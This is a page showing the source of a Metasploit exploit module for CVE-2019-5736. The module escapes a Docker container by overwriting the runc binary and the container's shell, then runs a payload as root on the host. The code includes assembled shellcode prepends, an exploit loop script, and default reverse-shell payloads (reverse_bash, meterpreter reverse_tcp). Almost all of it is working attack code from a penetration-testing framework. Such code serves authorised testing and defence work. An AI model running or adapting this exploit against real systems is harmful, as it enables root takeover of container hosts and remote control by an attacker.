Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/docker_runc_escape.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67Rank = ManualRanking89include Msf::Post::Linux::Priv10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c15PAYLOAD_MAX_SIZE = 10485761617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Docker Container Escape Via runC Overwrite',22'Description' => %q{23This module leverages a flaw in `runc` to escape a Docker container24and get command execution on the host as root. This vulnerability is25identified as CVE-2019-5736. It overwrites the `runc` binary with the26payload and wait for someone to use `docker exec` to get into the27container. This will trigger the payload execution.2829Note that executing this exploit carries important risks regarding30the Docker installation integrity on the target and inside the31container ('Side Effects' section in the documentation).32},33'Author' => [34'Adam Iwaniuk', # Discovery and original PoC35'Borys Popławski', # Discovery and original PoC36'Nick Frichette', # Other PoC37'Christophe De La Fuente', # MSF Module38'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)39],40'References' => [41['CVE', '2019-5736'],42['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],43['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],44['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']45],46'DisclosureDate' => '2019-01-01',47'License' => MSF_LICENSE,48'Platform' => %w[linux unix],49'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],50'Privileged' => true,51'Targets' => [52[53'Unix (In-Memory)',54{55'Platform' => 'unix',56'Type' => :unix_memory,57'Arch' => ARCH_CMD,58'DefaultOptions' => {59'PAYLOAD' => 'cmd/unix/reverse_bash'60}61}62],63[64'Linux (Dropper) x64',65{66'Platform' => 'linux',67'Type' => :linux_dropper,68'Arch' => ARCH_X64,69'Payload' => {70'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string71push 472pop rdi73_close_fds_loop:74dec rdi75push 376pop rax77syscall78test rdi, rdi79jnz _close_fds_loop8081mov rax, 0x000000000000006c82push rax83mov rax, 0x6c756e2f7665642f84push rax85mov rdi, rsp86xor rsi, rsi8788push 289pop rax90syscall9192push 293pop rax94syscall9596push 297pop rax98syscall99ASM100},101'DefaultOptions' => {102'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',103'PrependFork' => true104}105}106],107[108'Linux (Dropper) x86',109{110'Platform' => 'linux',111'Type' => :linux_dropper,112'Arch' => ARCH_X86,113'Payload' => {114'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string115push 4116pop edi117_close_fds_loop:118dec edi119push 6120pop eax121int 0x80122test edi, edi123jnz _close_fds_loop124125push 0x0000006c126push 0x7665642f127push 0x6c756e2f128mov ebx, esp129xor ecx, ecx130131push 5132pop eax133int 0x80134135push 5136pop eax137int 0x80138139push 5140pop eax141int 0x80142ASM143},144'DefaultOptions' => {145'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',146'PrependFork' => true147}148}149]150],151'DefaultOptions' => {152# Give the user on the target plenty of time to trigger the payload153'WfsDelay' => 300154},155'DefaultTarget' => 1,156'Notes' => {157# Docker may hang and will need to be restarted158'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],159'Reliability' => [REPEATABLE_SESSION],160'SideEffects' => [ARTIFACTS_ON_DISK]161}162)163)164165register_options([166OptString.new(167'OVERWRITE',168[169true,170'Shell to overwrite with \'#!/proc/self/exe\'',171'/bin/sh'172]173),174OptString.new(175'SHELL',176[177true,178'Shell to use in scripts (must be different than OVERWRITE shell)',179'/bin/bash'180]181),182OptString.new(183'WRITABLEDIR',184[185true,186'A directory where you can write files.',187'/tmp'188]189)190])191end192193def encode_begin(real_payload, reqs)194super195196return unless target['Type'] == :unix_memory197198reqs['EncapsulationRoutine'] = proc do |_reqs, raw|199# Replace any instance of the shell we're about to overwrite with the200# substitution shell.201pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])202overwrite_basename = File.basename(datastore['OVERWRITE'])203shell_basename = File.basename(datastore['SHELL'])204# Also, substitute shell base names, since some payloads rely on PATH205# environment variable to call a shell206pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)207# Prepend shebang208"#!#{datastore['SHELL']}\n#{pl}\n\n"209end210end211212def exploit213unless is_root?214fail_with(Failure::NoAccess,215'The exploit needs a session as root (uid 0) inside the container')216end217if target['Type'] == :unix_memory218print_warning(219"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\220"unavailable on the target as long as the new session is alive. Using a\n"\221"Meterpreter payload is recommended, since specific code that\n"\222"daemonizes the process is automatically prepend to the payload\n"\223"and won\'t block Docker."224)225end226227verify_shells228229path = datastore['WRITABLEDIR']230overwrite_shell(path)231shell_path = setup_exploit(path)232233print_status("Launch exploit loop and wait for #{wfs_delay} sec.")234cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false)235236print_status('Done. Waiting a bit more to make sure everything is setup...')237sleep(5)238print_good('Session ready!')239end240241def verify_shells242['OVERWRITE', 'SHELL'].each do |option_name|243shell = datastore[option_name]244unless command_exists?(shell)245fail_with(Failure::BadConfig,246"Shell specified in #{option_name} module option doesn't exist (#{shell})")247end248end249end250251def overwrite_shell(path)252@shell = datastore['OVERWRITE']253@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"254print_status("Make a backup of #{@shell} (#{@shell_bak})")255# This file will be restored if the loop script succeed. Otherwise, the256# cleanup method will take care of it.257begin258copy_file(@shell, @shell_bak)259rescue Rex::Post::Meterpreter::RequestError => e260fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")261end262263print_status("Overwrite #{@shell}")264begin265write_file(@shell, '#!/proc/self/exe')266rescue Rex::Post::Meterpreter::RequestError => e267fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")268end269end270271def setup_exploit(path)272print_status('Upload payload')273payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"274if target['Type'] == :unix_memory275vprint_status("Updated payload:\n#{payload.encoded}")276upload(payload_path, payload.encoded)277else278pl = generate_payload_exe279if pl.size > PAYLOAD_MAX_SIZE280fail_with(Failure::BadConfig,281"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")282end283upload(payload_path, generate_payload_exe)284end285286print_status('Upload exploit')287exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"288upload_and_chmodx(exe_path, get_exploit)289register_files_for_cleanup(exe_path)290291shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"292@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"293print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")294upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))295296return shell_path297end298299def upload(path, data)300print_status("Writing '#{path}' (#{data.size} bytes) ...")301begin302write_file(path, data)303rescue Rex::Post::Meterpreter::RequestError => e304fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")305end306register_file_for_cleanup(path)307end308309def upload_and_chmodx(path, data)310upload(path, data)311chmod(path, 0o755)312end313314def get_exploit315target_arch = session.arch316if session.arch == ARCH_CMD317target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86318end319case target_arch320when ARCH_X64321exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')322when ARCH_X86323exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')324else325fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")326end327end328329def loop_script(exe_path:, payload_path:)330<<~SHELL331while true; do332for f in /proc/*/exe; do333tmp=${f%/*}334pid=${tmp##*/}335cmdline=$(cat /proc/${pid}/cmdline)336if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then337#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&338sleep 3339mv -f #{@shell_bak} #{@shell}340chmod +x #{@shell}341exit342fi343done344done345SHELL346end347348def cleanup349super350351# If something went wrong and the loop script didn't restore the original352# shell in the docker container, make sure to restore it now.353if @shell_bak && file_exist?(@shell_bak)354copy_file(@shell_bak, @shell)355chmod(@shell, 0o755)356print_good('Container shell restored')357end358rescue Rex::Post::Meterpreter::RequestError => e359fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")360ensure361# Make sure we delete the backup file362begin363rm_f(@shell_bak) if @shell_bak364rescue Rex::Post::Meterpreter::RequestError => e365fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")366end367end368369def on_new_session(new_session)370super371@session = new_session372runc_path = cmd_exec('which docker-runc')373if runc_path == ''374print_error(375"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\376"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"377)378return379end380381begin382rm_f(runc_path)383rescue Rex::Post::Meterpreter::RequestError => e384print_error("Unable to delete #{runc_path}: #{e}")385return386end387if copy_file(@runc_backup_path, runc_path)388chmod(runc_path, 0o755)389print_good('Original runc binary restored')390begin391rm_f(@runc_backup_path)392rescue Rex::Post::Meterpreter::RequestError => e393print_error("Unable to delete #{@runc_backup_path}: #{e}")394end395else396print_error(397"Unable to restore the original runc binary #{@runc_backup_path}\n"\398"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"399)400end401end402403end404405406